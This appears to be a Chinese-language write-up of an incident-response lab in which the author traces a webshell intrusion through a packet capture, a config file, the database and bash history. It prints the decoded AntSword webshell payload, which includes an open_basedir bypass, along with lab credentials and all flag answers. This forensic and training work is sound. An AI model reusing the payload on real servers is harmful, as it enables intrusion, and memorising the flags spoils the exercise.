一、背景
前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!
1,提交攻击者IP
2,提交攻击者修改的管理员密码(明文)
3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
3,提交Webshell连接密码
4,提交数据包的flag1
5,提交攻击者使用的后续上传的木马文件名称
6,提交攻击者隐藏的flag2
7,提交攻击者隐藏的flag3
|
相关账户密码:
root/Inch@957821.
二、IP
查看,找到对应的ip地址
192.168.20.1

查看靶机端口开放情况
发现nginx和mysql服务开启

三、webshell名
发现root目录下存在流量包,传到主机中,使用wireshark进行分析
这是通过http过滤出来的第一个数据包,那么攻击者第一次Webshell的连接URL就是index.php?user-app-register,提交判题程序得知正确。

四、flag1
流量包显示过滤器中输入http,发现flag1.php,追踪http流发现flag1
flag1{Network@_2020_Hack}


五、webshell连接密码
从上图http流中发现,Network2020密码,也可以看出这是使用蚁剑进行连接的,流量特征非常明显
Network2020
将这个编码进行解码,发现是个php文件

PHP格式化,在线美化PHP代码-友沃可在线工具 (uvooc.com)
Network2020=@ini_set("display_errors", "0"); @set_time_limit(0); $opdir=@ini_get("open_basedir"); if($opdir) { $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir); @array_push($oparr,$ocwd,sys_get_temp_dir()); foreach($oparr as $item) { if(!@is_writable($item)) { continue; } ; $tmdir=$item."/.6d08c1f8f0"; @mkdir($tmdir); if(!@file_exists($tmdir)) { continue; } $tmdir=realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr=@preg_split("/\\\\|\//",$tmdir); for ($i=0;$i<sizeof($cntarr);$i++) { @chdir(".."); } ; @ini_set("open_basedir","/"); @rmdir($tmdir); break; } ; } ; ; function asenc($out) { return $out; } ; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "d98988"."526a62"; echo @asenc($output); echo "e06"."a6e9"; } ob_start(); try { $D=base64_decode(substr($_POST["x0b6b31b98f31d"],2)); $F=@opendir($D); if($F==NULL) { echo("ERROR:// Path Not Found Or No Permission!"); } else { $M=NULL; $L=NULL; while($N=@readdir($F)) { $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); } ; } catch(Exception $e) { echo "ERROR://".$e->getMessage(); } ; asoutput(); die();
|
在http流中发现文件路径,系统内核版本

六、管理员密码
根据流量包中的找到的web路径,切换到相应的目录
没有发现有用信息,切换到lib目录,发现有个配置文件,config.inc.php文件

查看这个配置文件,
在里面发现数据库的相关配置文件

用户名:kaoshi
密码:5Sx8mK5ieyLPb84m
发现mysql数据库密码和账号后,想起之前发现3306端口开放,mysql服务在运行。
直接进入数据库
mysql -uroot -p5Sx8mK5ieyLPb84m use kaoshi; show tables;
|

在数据库发现管理管理员加密后的密码,猜测这个可能就是问题2中修改后的管理员密码,
f6f6eb5ace977d7e114377cc7098b7e3
select * from x2_user; select * from x2_user_group;
|

将管理员加密后的密码,尝试解密,发现解密成功
密码为:Network@2020

七、第二个木马名
从流量包中发现,第二个名字为version2.php
流量包中其中访问了一次version.php但是返回码是404,所以排查掉
攻击者可能是先使用蚁剑连接后,重新上传了一个新的木马。

追踪对应包的http流
发现是冰蝎连接的,数据加密

八、flag3
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
流量包中没有任何线索,返回靶机进行排查,输入history命令,查看之前输入过的指令
在指令中发现flag3

在历史记录中发现攻击者编辑了.api目录下的aliontify.php文件
切换到相应目录进行查看


在这个文件的最后一行发现flag2
$flag2 = “flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}”


虽然找到全部的flag但是感觉思路比较乱,数据库管理员密码需要从配置文件中获取,感觉思路不太对,应该是漏掉了相应的提示。
在历史执行的命令中发现bt命令,说明服务器存在宝塔面板,猜测宝塔面板中应该有其他线索。但是由于已经找到了全部答案,所以没有进入面板查看。